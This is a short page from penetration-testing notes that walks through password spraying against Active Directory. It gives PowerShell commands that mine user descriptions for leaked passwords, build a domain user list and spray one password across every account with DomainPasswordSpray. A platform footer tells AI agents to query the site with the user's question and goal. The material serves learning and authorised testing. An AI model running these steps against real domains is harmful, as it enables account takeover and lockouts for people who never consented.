> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/active-directory/acl-security-descriptors-and-permissions/password-spraying.md).

# Password Spraying

Active Directory security notes for Password Spraying, covering enumeration, Kerberos, credentials, ACL abuse, lateral movement, exploitation workflow, and validation steps.

#### 1. Principle

Password Spraying consists of testing the same password on several user accounts.

Unlike a classic brute force attack, which tests many passwords on a single user, password spraying generally tests a small number of passwords on many users.

This technique is used to identify accounts sharing the same password.

#### 2. Attention in real environment

In a real environment, this technique must be used with great caution.

Repeated authentication attempts may cause:

* account lockout;
* security alerts;
* detection by the EDR, SIEM or SOC team;
* an operational impact on users.

#### 3. Listing user descriptions

Before launching password spraying, it may be useful to consult the user account descriptions.

Some descriptions may contain sensitive information, sometimes even passwords left by mistake.

PowerView command:

{% code overflow="wrap" %}

```powershell
Get-NetUser | select name,description
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24e600391ad5ceea51dee323fdb74f26c85bdec6%2Fimage%20(3280).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 4. Loading DomainPasswordSpray

{% embed url="<https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1>" %}

{% code overflow="wrap" %}

```powershell
. ./DomainPasswordSpray.ps1
```

{% endcode %}

#### 5. Creating a list of users

We extract the list of domain users into a text file:

{% code overflow="wrap" %}

```powershell
Get-NetUser | Select-Object -ExpandProperty name | Out-File C:/Users/user1/Desktop/users.txt
```

{% endcode %}

#### 6. Launching password spraying

We then launch password spraying with the chosen password:

{% code overflow="wrap" %}

```powershell
Invoke-DomainPasswordSpray -UserList ./users.txt -Password "Password1@" -Verbose
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8792cfbf7664fc2f56c3ff7fdc11dcf9c60a922%2Fimage%20(3281).png?alt=media" alt=""><figcaption></figcaption></figure>

This command tests the `Password1@` password on the users present in the `users.txt` file.

If some accounts use this password, the tool will show them as successful authentications.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/active-directory/acl-security-descriptors-and-permissions/password-spraying.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
